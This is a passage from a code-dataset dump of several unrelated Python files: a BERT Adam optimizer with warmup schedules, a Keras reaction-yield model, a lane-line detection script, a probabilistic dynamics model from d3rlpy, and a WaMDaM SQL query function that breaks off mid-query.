learning rate equal to 1. after warmup.\n \"\"\"\n def get_lr_(self, progress):\n if progress < self.warmup:\n return progress / self.warmup\n return 1.\n\n\nclass WarmupLinearSchedule(_LRSchedule):\n \"\"\"\n Linearly increases learning rate from 0 to 1 over `warmup` fraction of training steps.\n Linearly decreases learning rate from 1. to 0. over remaining `1 - warmup` steps.\n \"\"\"\n warn_t_total = True\n def get_lr_(self, progress):\n if progress < self.warmup:\n return progress / self.warmup\n return max((progress - 1.) / (self.warmup - 1.), 0.)\n\n\nSCHEDULES = {\n None: ConstantLR,\n \"none\": ConstantLR,\n \"warmup_cosine\": WarmupCosineSchedule,\n \"warmup_constant\": WarmupConstantSchedule,\n \"warmup_linear\": WarmupLinearSchedule\n}\n\n\nclass BertAdam(Optimizer):\n \"\"\"Implements BERT version of Adam algorithm with weight decay fix.\n Params:\n lr: learning rate\n warmup: portion of t_total for the warmup, -1 means no warmup. Default: -1\n t_total: total number of training steps for the learning\n rate schedule, -1 means constant learning rate of 1. (no warmup regardless of warmup setting). Default: -1\n schedule: schedule to use for the warmup (see above).\n Can be `'warmup_linear'`, `'warmup_constant'`, `'warmup_cosine'`, `'none'`, `None` or a `_LRSchedule` object (see below).\n If `None` or `'none'`, learning rate is always kept constant.\n Default : `'warmup_linear'`\n b1: Adams b1. Default: 0.9\n b2: Adams b2. Default: 0.999\n e: Adams epsilon. Default: 1e-6\n weight_decay: Weight decay. Default: 0.01\n max_grad_norm: Maximum norm for the gradients (-1 means no clipping). Default: 1.0\n \"\"\"\n def __init__(self, params, lr=required, warmup=-1, t_total=-1, schedule='warmup_linear',\n b1=0.9, b2=0.999, e=1e-6, weight_decay=0.01, max_grad_norm=1.0, **kwargs):\n if lr is not required and lr < 0.0:\n raise ValueError(\"Invalid learning rate: {} - should be >= 0.0\".format(lr))\n if not isinstance(schedule, _LRSchedule) and schedule not in SCHEDULES:\n raise ValueError(\"Invalid schedule parameter: {}\".format(schedule))\n if not 0.0 <= b1 < 1.0:\n raise ValueError(\"Invalid b1 parameter: {} - should be in [0.0, 1.0[\".format(b1))\n if not 0.0 <= b2 < 1.0:\n raise ValueError(\"Invalid b2 parameter: {} - should be in [0.0, 1.0[\".format(b2))\n if not e >= 0.0:\n raise ValueError(\"Invalid epsilon value: {} - should be >= 0.0\".format(e))\n # initialize schedule object\n if not isinstance(schedule, _LRSchedule):\n schedule_type = SCHEDULES[schedule]\n schedule = schedule_type(warmup=warmup, t_total=t_total)\n else:\n if warmup != -1 or t_total != -1:\n logger.warning(\"warmup and t_total on the optimizer are ineffective when _LRSchedule object is provided as schedule. \"\n \"Please specify custom warmup and t_total in _LRSchedule object.\")\n defaults = dict(lr=lr, schedule=schedule,\n b1=b1, b2=b2, e=e, weight_decay=weight_decay,\n max_grad_norm=max_grad_norm)\n super(BertAdam, self).__init__(params, defaults)\n\n def get_lr(self):\n lr = []\n for group in self.param_groups:\n for p in group['params']:\n state = self.state[p]\n if len(state) == 0:\n return [0]\n lr_scheduled = group['lr']\n lr_scheduled *= group['schedule'].get_lr(state['step'])\n lr.append(lr_scheduled)\n return lr\n\n def step(self, closure=None):\n \"\"\"Performs a single optimization step.\n\n Arguments:\n closure (callable, optional): A closure that reevaluates the model\n and returns the loss.\n \"\"\"\n loss = None\n if closure is not None:\n loss = closure()\n\n for group in self.param_groups:\n for p in group['params']:\n if p.grad is None:\n continue\n grad = p.grad.data\n if grad.is_sparse:\n raise RuntimeError('Adam does not support sparse gradients, please consider SparseAdam instead')\n\n state = self.state[p]\n\n # State initialization\n if len(state) == 0:\n state['step'] = 0\n # Exponential moving average of gradient values\n state['next_m'] = torch.zeros_like(p.data)\n # Exponential moving average of squared gradient values\n state['next_v'] = torch.zeros_like(p.data)\n\n next_m, next_v = state['next_m'], state['next_v']\n beta1, beta2 = group['b1'], group['b2']\n\n # Add grad clipping\n if group['max_grad_norm'] > 0:\n clip_grad_norm_(p, group['max_grad_norm'])\n\n # Decay the first and second moment running average coefficient\n # In-place operations to update the averages at the same time\n next_m.mul_(beta1).add_(1 - beta1, grad)\n next_v.mul_(beta2).addcmul_(1 - beta2, grad, grad)\n update = next_m / (next_v.sqrt() + group['e'])\n\n # Just adding the square of the weights to the loss function is *not*\n # the correct way of using L2 regularization/weight decay with Adam,\n # since that will interact with the m and v parameters in strange ways.\n #\n # Instead we want to decay the weights in a manner that doesn't interact\n # with the m/v parameters. This is equivalent to adding the square\n # of the weights to the loss with plain (non-momentum) SGD.\n if group['weight_decay'] > 0.0:\n update += group['weight_decay'] * p.data\n\n lr_scheduled = group['lr']\n lr_scheduled *= group['schedule'].get_lr(state['step'])\n\n update_with_lr = lr_scheduled * update\n p.data.add_(-update_with_lr)\n\n state['step'] += 1\n\n # step_size = lr_scheduled * math.sqrt(bias_correction2) / bias_correction1\n # No bias correction\n # bias_correction1 = 1 - beta1 ** state['step']\n # bias_correction2 = 1 - beta2 ** state['step']\n\n return loss\n" ]
[ [ "torch.zeros_like", "torch.nn.utils.clip_grad_norm_" ] ]
rmrmg/SuzukiConditions
[ "5ea0b816607d022e4815447cd803fc6de02b8f08" ]
[ "classification/keras_embedlig_v3new.py" ]
[ "seedNum=10\nimport random, statistics\nrandom.seed(seedNum)\nimport numpy\nnumpy.random.seed(seedNum)\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"-1\"\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' \nimport tensorflow as tf\ntf.random.set_seed(seedNum)\n\n\nimport sklearn, numpy, sys\nfrom sklearn import preprocessing, decomposition, cluster, model_selection\nimport matplotlib.pyplot as plt\n#import keras\nfrom keras import optimizers, regularizers, utils\nfrom keras import backend as K\nfrom keras.layers import Input, Dense, Dropout, Add , Embedding, Concatenate, Flatten\nfrom keras.models import Model\n\n\n\n\ndef customLoss(ytrue, ypred):\n print(\"\\n\\nXXX\", ytrue, ypred, \"YYYYY\\n\\n\")\n print( dir(ytrue) )\n print( ytrue._shape, type(ytrue) )\n #print( help(ytrue) )\n #for i in ytrue:\n # print(\"ONE I\", i)\n #e = K.get_value(ytrue) #ytrue.eval(session=K.get_session())\n #print( type(e), e)\n return K.sum(K.log(ytrue) - K.log(ypred))\n\ndef production(tab):\n autoencoder.fit(tab, tab, epochs=30, batch_size=20, shuffle=True)\n model_json = autoencoder.to_json()\n with open(\"model.json\", \"w\") as json_file:\n json_file.write(model_json)\n # serialize weights to HDF5\n autoencoder.save_weights(\"model.h5\")\n print(\"Saved model to disk\")\n \n\ndef parseData(fn):\n tabOryg=numpy.loadtxt(fn, delimiter='\\t', )\n solv1 =tabOryg[:,0]\n base1 =tabOryg[:,1]\n ligand1=tabOryg[:,2]\n ligand2=tabOryg[:,3]\n temp = tabOryg[:,4]\n sbs1 = tabOryg[:, 5:5+512]\n sbs2 = tabOryg[:, 5+512:5+512+512]\n yld = tabOryg[:,-1]\n return {'solvents':[solv1,], 'bases':[base1, ], 'ligands':[ligand1, ligand2], 'temp':temp, 'sbses':[sbs1,sbs2], 'yield':yld }\n\n\ndef makeModel(inputDim, wide1=90, wide2=10, embDim=3, solventClasses=1+6, baseClasses=1+7, ligandClasses=1+81, act1='relu', act2='relu', act3='elu' ):\n subs1 = Input(shape=(inputDim,))\n subs2 = Input(shape=(inputDim,))\n temper = Input(shape=(1,) )\n\n sol1 = Input(shape=(1,) )\n base_1 = Input(shape=(1,) )\n lgand1 = Input(shape=(1,) )\n lgand2 = Input(shape=(1,) )\n\n solventEmbd = Embedding(solventClasses, embDim, input_length=1)\n #solventEmbd = Dense(2, activation='relu')\n solvent1 = solventEmbd(sol1)\n\n baseEmbd = Embedding(baseClasses, embDim, input_length=1)\n #baseEmbd = Dense(2, activation='relu')\n base1 = baseEmbd(base_1)\n\n ligandEmbd = Embedding(ligandClasses, embDim, input_length=1)\n #ligandEmbd = Dense(2, activation='relu')\n ligand1 = ligandEmbd(lgand1)\n ligand2 = ligandEmbd(lgand2)\n\n #solvent = Add()([solvent1, solvent2, solvent3, solvent4])\n #base = Add()([base1, base2])\n ligand = Add()([ligand1, ligand2])\n conditions =Concatenate()([solvent1,base1, ligand])\n conditions =Flatten()(conditions)\n conditions = Concatenate()([conditions, temper])\n sbs1 = Dense(wide1, activation=act1)(subs1)\n sbs2 = Dense(wide1, activation=act1)(subs2)\n conditionsAndSubstrate = Concatenate() ([conditions, sbs1,sbs2])\n\n hide9 = Dense(wide2, activation=act2)(conditionsAndSubstrate)\n hide9 = Dropout(0.05)(hide9)\n outyield = Dense(1, activation=act3)(hide9)\n model = Model((sol1,base_1,lgand1,lgand2, temper, subs1, subs2), outyield)\n\n optim = optimizers.Adam() # lr=0.0005) #( clipnorm=1, lr=0.01, amsgrad=True ) lr:=default:=0.001\n model.compile(optimizer=optim, loss='mean_squared_error', metrics=[\"mean_absolute_error\",])\n #model.compile(optimizer=optim, loss='mean_squared_error', metrics=[\"mean_absolute_error\", customLoss])\n model.summary()\n return model\n\n\ndef training(data, model, nfolds=5, epochs=30, klas1=6, klas2=7):\n kf5=model_selection.KFold(n_splits=nfolds)\n #initWeights = model.get_weights()\n randInit = tf.keras.initializers.RandomNormal()\n #X = preprocessing.scale(X)\n iniw = model.get_weights()\n initShapes = [ i.shape for i in iniw]\n eachFoldData=[]\n print(\"LEN\", len(data['sbses'][0]), len(data['yield']) )\n histories=[]\n for trainIdx, testIdx in kf5.split(data['sbses'][0]):\n # Model((solvent1,solvent2,solvent3,solvent4,base1,base2, ligand1,ligand2, temper, sbs1, sbs2), outyield)\n solvent1train= data['solvents'][0][trainIdx]\n solvent1test= data['solvents'][0][testIdx]\n\n base1train= data['bases'][0][trainIdx]\n base1test= data['bases'][0][testIdx]\n\n ligand1train= data['ligands'][0][trainIdx]\n ligand1test= data['ligands'][0][testIdx]\n ligand2train= data['ligands'][1][trainIdx]\n ligand2test= data['ligands'][1][testIdx]\n\n temptrain = data['temp'][trainIdx]\n temptest = data['temp'][testIdx]\n\n sbs1train = data['sbses'][0][trainIdx]\n sbs1test = data['sbses'][0][testIdx]\n\n sbs2train = data['sbses'][1][trainIdx]\n sbs2test = data['sbses'][1][testIdx]\n\n Yldtrain, Yldtest = data['yield'][trainIdx], data['yield'][testIdx]\n eachEpochData=[]\n #model.set_weights(initWeights)\n model.set_weights( [randInit(shape=x) for x in initShapes] )\n #for epochidx in range(epochs):\n inputTrain = [ solvent1train, base1train, ligand1train, ligand2train, temptrain, sbs1train, sbs2train]\n inputTest = [solvent1test, base1test, ligand1test, ligand2test, temptest, sbs1test, sbs2test]\n\n #history=model.fit(inputTrain, Yldtrain, epochs=epochs, batch_size=20, shuffle=True, validation_data=(inputTest, Yldtest), verbose=2)\n #histories.append( history.history)\n\n\n eachEpochData=[]\n for epochidx in range(epochs):\n model.fit(inputTrain, Yldtrain, epochs=1, batch_size=20, shuffle=True, verbose=2, validation_data=(inputTest, Yldtest))\n topN = []\n MAE = []\n yieldRange = []\n for testidx in testIdx:\n thisSolvClasses = numpy.zeros((klas1*klas2, 1))\n thisBasesClasses = numpy.zeros((klas1*klas2, 1))\n thisSolvClasses[0][0]= data['solvents'][0][testidx]\n thisBasesClasses[0][0]= data['bases'][0][testidx]\n thisLigand1 = numpy.array([ [data['ligands'][0][testidx],] for x in range(klas1*klas2)])\n thisLigand2 = numpy.array([ [data['ligands'][1][testidx],] for x in range(klas1*klas2)])\n thisTemp = numpy.array([ [data['temp'][testidx],] for x in range(klas1*klas2)])\n thisSbs1 = numpy.array([ data['sbses'][0][testidx] for x in range(klas1*klas2)])\n thisSbs2 = numpy.array([ data['sbses'][1][testidx] for x in range(klas1*klas2)])\n pos =1\n #print(\"XXX\",data['solvents'][0][testidx], data['bases'][0][testidx])\n for i in range(1, klas1+1):\n for j in range(1,klas2+1):\n if abs(i - data['solvents'][0][testidx]) < 0.01 and abs(j - data['bases'][0][testidx]) < 0.01:\n continue\n #print(i,j)\n thisSolvClasses[pos][0] = i\n thisBasesClasses[pos][0] = j\n pos +=1\n result2 = model.predict( [thisSolvClasses, thisBasesClasses, thisLigand1, thisLigand2, thisTemp, thisSbs1, thisSbs2 ])\n \n MAE.append( float(abs(result2[0]- data['yield'][testidx])) )\n diffY = float(max(result2))-float(min(result2))\n #print(\"allY\", [x[0] for x in result2])\n #print(\"AX\", allx)\n resorted = sorted([ (x,i) for i,x in enumerate(result2)], reverse=True)\n #print(\"RE\", resorted)\n res=[i for i,x in enumerate(resorted) if x[1] == 0]\n #print(\"RE\", result2, res)\n #raise\n topN.append(res[0] )\n yieldRange.append( diffY)\n topNproc=[]\n for i in range(1, 6):\n s1top= len([s for s in topN if s <=i])/ len(topN)\n topNproc.append( s1top )\n #print(\"YILE RAGE\", yieldRange)\n eachEpochData.append( (statistics.mean(MAE), tuple(topNproc), statistics.mean(yieldRange) ) )\n print(\"last epoch\", eachEpochData[-1])\n eachFoldData.append(eachEpochData)\n\n for epochid in range(epochs):\n thisEpoch= [ oneFold[epochid] for oneFold in eachFoldData]\n topN=[ fold[1] for fold in thisEpoch]\n aveMAE = statistics.mean([x[0] for x in thisEpoch])\n stdMAE = statistics.stdev([x[0] for x in thisEpoch])\n avgYieldRange = statistics.mean([x[2] for x in thisEpoch])\n topNproc=[ ]\n topNstdev = []\n for i in range( len(topN[0])):\n topNproc.append( statistics.mean([fold[i] for fold in topN ]) )\n topNstdev.append( statistics.stdev([fold[i] for fold in topN ]) )\n print(epochid+1, \"MAE\", aveMAE, stdMAE, \"TOPN\", topNproc, topNstdev, \"avgYrange\", avgYieldRange)\n\n #for i in range(epochs):\n # print(\"epoch\", i, statistics.mean([f['val_mean_absolute_error'][i] for f in histories]), \"stdev\", statistics.stdev([f['val_mean_absolute_error'][i] for f in histories]) )\n\n\ndef parseArgs():\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument('--input', required=True, type=str)\n parser.add_argument('--w1', required=True, type=int)\n parser.add_argument('--w2', required=True, type=int)\n args = parser.parse_args()\n return args\n\n\n\nif __name__ == \"__main__\":\n arg=parseArgs()\n print(\"ARGS\", arg)\n data =parseData( arg.input)\n model=makeModel( 512, wide1=arg.w1, wide2=arg.w2 )\n training( data, model, epochs=30)\n\n" ]
[ [ "numpy.zeros", "numpy.random.seed", "tensorflow.random.set_seed", "tensorflow.keras.initializers.RandomNormal", "numpy.loadtxt", "sklearn.model_selection.KFold" ] ]
LucFrachon/advanced_lane_lines_detection
[ "2d509167b4106b414d2db25c2f972ad5ff6fc422" ]
[ "line_fitting.py" ]
[ "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport cv2\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nfrom camera_calibration import display_images\nfrom binary_map_pipeline import get_warp_matrix, binary_map_pipeline\nfrom Line_class import Line\nimport pickle\nimport glob\n\n# ============================== MAIN PROGRAM ====================================\n\nif __name__ == '__main__':\n\n # Global variables:\n img_size = (1280, 720)\n source_vertices = np.float32([[203, 720],\n [580, 460],\n [700, 460],\n [1077, 720]])\n thresh_x = (20, 100)\n thresh_h = (18, 35)\n thresh_l = (190, 255)\n thresh_s = (120, 255)\n\n # Load calibration parameters from pickle:\n with open('calibration_params.pkl', 'rb') as pkl:\n M_cam = pickle.load(pkl)\n dist_coef = pickle.load(pkl)\n\n M_warp, dest_vertices = get_warp_matrix(img_size, source_vertices)\n\n path_names = glob.glob('./test_images/*.jpg')\n\n for path in path_names:\n # Isolate file name without extension:\n file_name = path.split('/')[-1].split('.')[0]\n print(\"Processing \", file_name)\n img = mpimg.imread(path)\n\n combined_map, img_undist, hls, warped, warped_s, \\\n x_binary, yellows, lightness, saturation = binary_map_pipeline(img, \n M_cam, dist_coef, M_warp, dest_vertices)\n\n display_images([img, \n img_undist, \n warped_s,\n x_binary, \n # y_binary,\n # mag_binary,\n # dir_binary,\n yellows,\n lightness,\n saturation,\n combined_map\n ], \n titles = [\"original\", \n \"undistorted\", \n \"warped Sat\", \n \"grad_x\",\n # \"grad_y\", \n # \"grad_magnitude\", \n # \"grad_direction\", \n \"yellows\",\n \"lightness\",\n \"saturation\",\n \"combined\",\n ],\n n_cols = 4 \n #, write_path = './test_images/' + file_name + '_results.png'\n )\n\n" ]
[ [ "matplotlib.use", "numpy.float32", "matplotlib.image.imread" ] ]
aiueola/d3rlpy
[ "6058d4dab7484d1d38103210081711f6e05b0c1e" ]
[ "d3rlpy/models/torch/dynamics.py" ]
[ "# pylint: disable=protected-access\n\nfrom typing import List, Optional, Tuple, cast\n\nimport torch\nimport torch.nn.functional as F\nfrom torch import nn\nfrom torch.distributions import Normal\nfrom torch.nn.utils import spectral_norm\n\nfrom .encoders import EncoderWithAction\n\n\ndef _compute_ensemble_variance(\n observations: torch.Tensor,\n rewards: torch.Tensor,\n variances: torch.Tensor,\n variance_type: str,\n) -> torch.Tensor:\n if variance_type == \"max\":\n return variances.max(dim=1).values\n elif variance_type == \"data\":\n data = torch.cat([observations, rewards], dim=2)\n return (data.std(dim=1) ** 2).sum(dim=1, keepdim=True)\n raise ValueError(f\"invalid variance_type: {variance_type}\")\n\n\ndef _apply_spectral_norm_recursively(model: nn.Module) -> None:\n for _, module in model.named_children():\n if isinstance(module, nn.ModuleList):\n for m in module:\n _apply_spectral_norm_recursively(m)\n else:\n if \"weight\" in module._parameters:\n spectral_norm(module)\n\n\ndef _gaussian_likelihood(\n x: torch.Tensor, mu: torch.Tensor, logstd: torch.Tensor\n) -> torch.Tensor:\n inv_std = torch.exp(-logstd)\n return (((mu - x) ** 2) * inv_std).mean(dim=1, keepdim=True)\n\n\nclass ProbabilisticDynamicsModel(nn.Module): # type: ignore\n \"\"\"Probabilistic dynamics model.\n\n References:\n * `Janner et al., When to Trust Your Model: Model-Based Policy\n Optimization. <https://arxiv.org/abs/1906.08253>`_\n * `Chua et al., Deep Reinforcement Learning in a Handful of Trials\n using Probabilistic Dynamics Models.\n <https://arxiv.org/abs/1805.12114>`_\n\n \"\"\"\n\n _encoder: EncoderWithAction\n _mu: nn.Linear\n _logstd: nn.Linear\n _max_logstd: nn.Parameter\n _min_logstd: nn.Parameter\n\n def __init__(self, encoder: EncoderWithAction):\n super().__init__()\n # apply spectral normalization except logstd encoder.\n _apply_spectral_norm_recursively(cast(nn.Module, encoder))\n self._encoder = encoder\n\n feature_size = encoder.get_feature_size()\n observation_size = encoder.observation_shape[0]\n out_size = observation_size + 1\n\n # TODO: handle image observation\n self._mu = spectral_norm(nn.Linear(feature_size, out_size))\n self._logstd = nn.Linear(feature_size, out_size)\n\n # logstd bounds\n init_max = torch.empty(1, out_size, dtype=torch.float32).fill_(2.0)\n init_min = torch.empty(1, out_size, dtype=torch.float32).fill_(-10.0)\n self._max_logstd = nn.Parameter(init_max)\n self._min_logstd = nn.Parameter(init_min)\n\n def compute_stats(\n self, x: torch.Tensor, action: torch.Tensor\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n h = self._encoder(x, action)\n\n mu = self._mu(h)\n\n # log standard deviation with bounds\n logstd = self._logstd(h)\n logstd = self._max_logstd - F.softplus(self._max_logstd - logstd)\n logstd = self._min_logstd + F.softplus(logstd - self._min_logstd)\n\n return mu, logstd\n\n def forward(\n self, x: torch.Tensor, action: torch.Tensor\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n return self.predict_with_variance(x, action)[:2]\n\n def predict_with_variance(\n self, x: torch.Tensor, action: torch.Tensor\n ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]:\n mu, logstd = self.compute_stats(x, action)\n dist = Normal(mu, logstd.exp())\n pred = dist.rsample()\n # residual prediction\n next_x = x + pred[:, :-1]\n next_reward = pred[:, -1].view(-1, 1)\n return next_x, next_reward, dist.variance.sum(dim=1, keepdims=True)\n\n def compute_error(\n self,\n observations: torch.Tensor,\n actions: torch.Tensor,\n rewards: torch.Tensor,\n next_observations: torch.Tensor,\n ) -> torch.Tensor:\n mu, logstd = self.compute_stats(observations, actions)\n\n # residual prediction\n mu_x = observations + mu[:, :-1]\n mu_reward = mu[:, -1].view(-1, 1)\n logstd_x = logstd[:, :-1]\n logstd_reward = logstd[:, -1].view(-1, 1)\n\n # gaussian likelihood loss\n likelihood_loss = _gaussian_likelihood(\n next_observations, mu_x, logstd_x\n )\n likelihood_loss += _gaussian_likelihood(\n rewards, mu_reward, logstd_reward\n )\n\n # penalty to minimize standard deviation\n penalty = logstd.sum(dim=1, keepdim=True)\n\n # minimize logstd bounds\n bound_loss = self._max_logstd.sum() - self._min_logstd.sum()\n\n loss = likelihood_loss + penalty + 1e-2 * bound_loss\n\n return loss.view(-1, 1)\n\n\nclass ProbabilisticEnsembleDynamicsModel(nn.Module): # type: ignore\n _models: nn.ModuleList\n\n def __init__(self, models: List[ProbabilisticDynamicsModel]):\n super().__init__()\n self._models = nn.ModuleList(models)\n\n def forward(\n self,\n x: torch.Tensor,\n action: torch.Tensor,\n indices: Optional[torch.Tensor] = None,\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n return self.predict_with_variance(x, action, indices=indices)[:2]\n\n def __call__(\n self,\n x: torch.Tensor,\n action: torch.Tensor,\n indices: Optional[torch.Tensor] = None,\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n return cast(\n Tuple[torch.Tensor, torch.Tensor],\n super().__call__(x, action, indices),\n )\n\n def predict_with_variance(\n self,\n x: torch.Tensor,\n action: torch.Tensor,\n variance_type: str = \"data\",\n indices: Optional[torch.Tensor] = None,\n ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]:\n observations_list: List[torch.Tensor] = []\n rewards_list: List[torch.Tensor] = []\n variances_list: List[torch.Tensor] = []\n\n # predict next observation and reward\n for model in self._models:\n obs, rew, var = model.predict_with_variance(x, action)\n observations_list.append(obs.view(1, x.shape[0], -1))\n rewards_list.append(rew.view(1, x.shape[0], 1))\n variances_list.append(var.view(1, x.shape[0], 1))\n\n # (ensemble, batch, -1) -> (batch, ensemble, -1)\n observations = torch.cat(observations_list, dim=0).transpose(0, 1)\n rewards = torch.cat(rewards_list, dim=0).transpose(0, 1)\n variances = torch.cat(variances_list, dim=0).transpose(0, 1)\n\n variances = _compute_ensemble_variance(\n observations=observations,\n rewards=rewards,\n variances=variances,\n variance_type=variance_type,\n )\n\n if indices is None:\n return observations, rewards, variances\n\n # pick samples based on indices\n partial_observations = observations[torch.arange(x.shape[0]), indices]\n partial_rewards = rewards[torch.arange(x.shape[0]), indices]\n return partial_observations, partial_rewards, variances\n\n def compute_error(\n self,\n observations: torch.Tensor,\n actions: torch.Tensor,\n rewards: torch.Tensor,\n next_observations: torch.Tensor,\n masks: Optional[torch.Tensor] = None,\n ) -> torch.Tensor:\n loss_sum = torch.tensor(\n 0.0, dtype=torch.float32, device=observations.device\n )\n for i, model in enumerate(self._models):\n loss = model.compute_error(\n observations, actions, rewards, next_observations\n )\n assert loss.shape == (observations.shape[0], 1)\n\n # create mask if necessary\n if masks is None:\n mask = torch.randint(\n 0, 2, size=loss.shape, device=observations.device\n )\n else:\n mask = masks[i]\n\n loss_sum += (loss * mask).mean()\n\n return loss_sum\n\n @property\n def models(self) -> nn.ModuleList:\n return self._models\n" ]
[ [ "torch.nn.Linear", "torch.cat", "torch.nn.functional.softplus", "torch.nn.ModuleList", "torch.arange", "torch.nn.Parameter", "torch.randint", "torch.tensor", "torch.nn.utils.spectral_norm", "torch.empty", "torch.exp" ] ]
tetsuzawa/research-tools
[ "0c6a820469dbf143fefe5898b01346f493af8a1e" ]
[ "pyresearch/plot_waves_from_wav_multi.py" ]
[ "# encording: utf-8\r\n\r\nimport argparse\r\nimport pathlib\r\nimport signal\r\n\r\nimport matplotlib\r\nmatplotlib.use('Agg')\r\nimport matplotlib.pyplot as plt\r\nimport soundfile as sf\r\n\r\nplt.rcParams['font.family'] = 'IPAPGothic'\r\nplt.rcParams['xtick.direction'] = 'in'\r\nplt.rcParams['ytick.direction'] = 'in'\r\nplt.rcParams['xtick.top'] = True\r\nplt.rcParams['ytick.right'] = True\r\nplt.rcParams['xtick.major.width'] = 1.0\r\nplt.rcParams['ytick.major.width'] = 1.0\r\nplt.rcParams['font.size'] = 16\r\nplt.rcParams['axes.linewidth'] = 1.0\r\nplt.rcParams['figure.figsize'] = (8, 7)\r\nplt.rcParams['figure.dpi'] = 300\r\nplt.rcParams['figure.subplot.hspace'] = 0.3\r\nplt.rcParams['figure.subplot.wspace'] = 0.3\r\n\r\n\r\ndef main():\r\n signal.signal(signal.SIGINT, signal.SIG_DFL)\r\n\r\n parser = argparse.ArgumentParser(description=\"This script plots graph from a csv file with 3 columns.\")\r\n\r\n parser.add_argument('input_paths',\r\n action='store',\r\n nargs=\"*\",\r\n const=None,\r\n default=None,\r\n type=str,\r\n help='paths where the wav file is located.',\r\n metavar=None)\r\n\r\n parser.add_argument('-d', '--dst_path',\r\n action='store',\r\n nargs='?',\r\n const=\"/tmp\",\r\n default=\".\",\r\n # default=None,\r\n type=str,\r\n help='Directory path where you want to locate png files. (default: current directory)',\r\n metavar=None)\r\n\r\n args = parser.parse_args()\r\n output_dir = pathlib.Path(args.dst_path)\r\n input_paths = args.input_paths\r\n\r\n for i, input_path in enumerate(input_paths):\r\n data, sr = sf.read(input_path)\r\n\r\n print(\"analize file name: \", input_path)\r\n\r\n fig, ax = plt.subplots(1, 1, figsize=(12, 4))\r\n\r\n if i == 2:\r\n data *= 0.3\r\n\r\n ax.plot(data)\r\n ax.set_ylim(-1, 1)\r\n ax.set_xlabel(\"Sample\")\r\n ax.set_ylabel(\"Amplitude\")\r\n plt.tight_layout()\r\n plt.grid()\r\n\r\n output_name = pathlib.Path(input_path).with_suffix(\".png\")\r\n output_path = pathlib.Path.joinpath(output_dir, output_name.name)\r\n plt.savefig(output_path)\r\n print(\"\\n plot is saved at: \", output_path, \"\\n\")\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n" ]
[ [ "matplotlib.use", "matplotlib.pyplot.grid", "matplotlib.pyplot.savefig", "matplotlib.pyplot.subplots", "matplotlib.pyplot.tight_layout" ] ]
WamdamProject/WaMDaM_Wizard
[ "f8f5a830464f3c8f45e4eb0557833eefb267d7b2" ]
[ "src/controller/WASH/Query_WaMDaM_for_WASH/QueryMultiAttributes.py" ]
[ "\n#\n# query Multi Attributes data:\n# Input paramters: ObjectTypeCV,InstanceNameCV,AttributeNameCV\n# return: df_MultiAttributes\n\nimport pandas as pd\nimport csv\nimport datetime\nfrom collections import OrderedDict\nimport os\n\ndef MultiAttributes_query(conn,multi_AttributeSeries):\n total_df_MultiColumns = []\n Multi_Full_Branch_total = []\n\n for input_param in multi_AttributeSeries:\n MultiAttributes_query=\"\"\"\n SELECT DISTINCT \"ObjectTypes\".\"ObjectType\",\n \"Instances\".\"InstanceName\" As NodeORLinkInstanceName,\n ScenarioName,\"Attributes\".\"AttributeName\" AS MultiAttributeName,\n Attributes.UnitName As UnitName,Methods.MethodName,Sources.SourceName,\n \"Attributes\".AttributeDataTypeCV,\n \"AttributesColumns\".\"AttributeName\" AS \"AttributeName\",\n \"AttributesColumns\".\"AttributeNameCV\",\n \"AttributesColumns\".\"UnitNameCV\" AS \"AttributeNameUnitName\",\n \"DataValue\",\"ValueOrder\",\n\n \"StartNodeInstance\".\"InstanceName\" As StartEndNode,\n \"EndNodeInstance\".\"InstanceName\" As EndNodeInstance\n \n FROM \"ResourceTypes\"\n \n -- Join the ResourceType to get its Object Types \n LEFT JOIN \"ObjectTypes\" \n ON \"ObjectTypes\".\"ResourceTypeID\"=\"ResourceTypes\".\"ResourceTypeID\"\n \n -- Join the Object types to get their attributes \n LEFT JOIN \"Attributes\"\n ON \"Attributes\".\"ObjectTypeID\"=\"ObjectTypes\".\"ObjectTypeID\"\n \n -- Join the Attributes to get their Mappings \n LEFT JOIN \"Mappings\"\n ON Mappings.AttributeID= Attributes.AttributeID\n \n -- Join the Mappings to get their Instances \n LEFT JOIN \"Instances\" \n ON \"Instances\".\"InstanceID\"=\"Mappings\".\"InstanceID\"\n \n -- Join the Mappings to get their ScenarioMappings \n LEFT JOIN \"ScenarioMappings\"\n ON \"ScenarioMappings\".\"MappingID\"=\"Mappings\".\"MappingID\"\n \n -- Join the ScenarioMappings to get their Scenarios \n LEFT JOIN \"Scenarios\"\n ON \"Scenarios\".\"ScenarioID\"=\"ScenarioMappings\".\"ScenarioID\"\n \n \n -- Join the Scenarios to get their MasterNetworks \n LEFT JOIN \"MasterNetworks\" \n ON \"MasterNetworks\".\"MasterNetworkID\"=\"Scenarios\".\"MasterNetworkID\"\n \n -- Join the Mappings to get their Methods \n LEFT JOIN \"Methods\" \n ON \"Methods\".\"MethodID\"=\"Mappings\".\"MethodID\"\n \n -- Join the Mappings to get their Sources \n LEFT JOIN \"Sources\" \n ON \"Sources\".\"SourceID\"=\"Mappings\".\"SourceID\"\n \n -- Join the Mappings to get their ValuesMappers \n LEFT JOIN \"ValuesMapper\" \n ON \"ValuesMapper\".\"ValuesMapperID\"=\"Mappings\".\"ValuesMapperID\"\n \n -- Join the ValuesMapper to get their MultiAttributeSeries \n LEFT JOIN \"MultiAttributeSeries\" \n ON \"MultiAttributeSeries\" .\"ValuesMapperID\"=\"ValuesMapper\".\"ValuesMapperID\"\n \n \n /*This is an extra join to get to each column name within the MultiColumn Array */\n \n -- Join the MultiAttributeSeries to get to their specific ValuesMapper, now called ValuesMapperColumn\n LEFT JOIN \"ValuesMapper\" As \"ValuesMapperColumn\"\n ON \"ValuesMapperColumn\".\"ValuesMapperID\"=\"MultiAttributeSeries\".\"MappingID_Attribute\"\n \n -- Join the ValuesMapperColumn to get back to their specific Mapping, now called MappingColumns\n LEFT JOIN \"Mappings\" As \"MappingColumns\"\n ON 